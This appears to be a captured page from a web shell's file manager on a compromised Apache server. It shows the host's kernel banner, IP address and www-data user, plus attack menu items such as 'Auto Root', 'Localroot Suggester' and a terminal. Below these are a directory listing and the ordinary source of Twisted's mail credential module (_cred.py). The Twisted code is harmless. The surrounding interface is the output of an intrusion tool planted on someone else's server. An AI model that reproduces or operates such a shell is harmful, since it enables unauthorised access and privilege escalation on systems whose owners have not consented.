Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.216.68
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3 /
dist-packages /
twisted /
mail /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2026-06-05 06:15
scripts
[ DIR ]
drwxr-xr-x
2026-06-05 06:15
test
[ DIR ]
drwxr-xr-x
2026-06-05 06:15
__init__.py
142
B
-rw-r--r--
2022-02-07 22:12
_cred.py
2.68
KB
-rw-r--r--
2022-02-07 22:12
_except.py
8.52
KB
-rw-r--r--
2022-02-07 22:12
_pop3client.py
45.64
KB
-rw-r--r--
2022-02-07 22:12
alias.py
23.43
KB
-rw-r--r--
2022-02-07 22:12
bounce.py
3.1
KB
-rw-r--r--
2022-02-07 22:12
imap4.py
206.58
KB
-rw-r--r--
2022-02-07 22:12
interfaces.py
31.32
KB
-rw-r--r--
2022-02-07 22:12
mail.py
20.09
KB
-rw-r--r--
2022-02-07 22:12
maildir.py
27.08
KB
-rw-r--r--
2022-02-07 22:12
pb.py
3.62
KB
-rw-r--r--
2022-02-07 22:12
pop3.py
53.6
KB
-rw-r--r--
2022-02-07 22:12
pop3client.py
487
B
-rw-r--r--
2022-02-07 22:12
protocols.py
12.04
KB
-rw-r--r--
2022-02-07 22:12
relay.py
5.14
KB
-rw-r--r--
2022-02-07 22:12
relaymanager.py
37.6
KB
-rw-r--r--
2022-02-07 22:12
smtp.py
70.61
KB
-rw-r--r--
2022-02-07 22:12
tap.py
12.5
KB
-rw-r--r--
2022-02-07 22:12
Save
Rename
# Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Credential managers for L{twisted.mail}. """ import hashlib import hmac from zope.interface import implementer from twisted.cred import credentials from twisted.mail._except import IllegalClientResponse from twisted.mail.interfaces import IChallengeResponse, IClientAuthentication from twisted.python.compat import nativeString @implementer(IClientAuthentication) class CramMD5ClientAuthenticator: def __init__(self, user): self.user = user def getName(self): return b"CRAM-MD5" def challengeResponse(self, secret, chal): response = hmac.HMAC(secret, chal, digestmod=hashlib.md5).hexdigest() return self.user + b" " + response.encode("ascii") @implementer(IClientAuthentication) class LOGINAuthenticator: def __init__(self, user): self.user = user self.challengeResponse = self.challengeUsername def getName(self): return b"LOGIN" def challengeUsername(self, secret, chal): # Respond to something like "Username:" self.challengeResponse = self.challengeSecret return self.user def challengeSecret(self, secret, chal): # Respond to something like "Password:" return secret @implementer(IClientAuthentication) class PLAINAuthenticator: def __init__(self, user): self.user = user def getName(self): return b"PLAIN" def challengeResponse(self, secret, chal): return b"\0" + self.user + b"\0" + secret @implementer(IChallengeResponse) class LOGINCredentials(credentials.UsernamePassword): def __init__(self): self.challenges = [b"Password\0", b"User Name\0"] self.responses = [b"password", b"username"] credentials.UsernamePassword.__init__(self, None, None) def getChallenge(self): return self.challenges.pop() def setResponse(self, response): setattr(self, nativeString(self.responses.pop()), response) def moreChallenges(self): return bool(self.challenges) @implementer(IChallengeResponse) class PLAINCredentials(credentials.UsernamePassword): def __init__(self): credentials.UsernamePassword.__init__(self, None, None) def getChallenge(self): return b"" def setResponse(self, response): parts = response.split(b"\0") if len(parts) != 3: raise IllegalClientResponse("Malformed Response - wrong number of parts") useless, self.username, self.password = parts def moreChallenges(self): return False __all__ = [ "CramMD5ClientAuthenticator", "LOGINCredentials", "LOGINAuthenticator", "PLAINCredentials", "PLAINAuthenticator", ]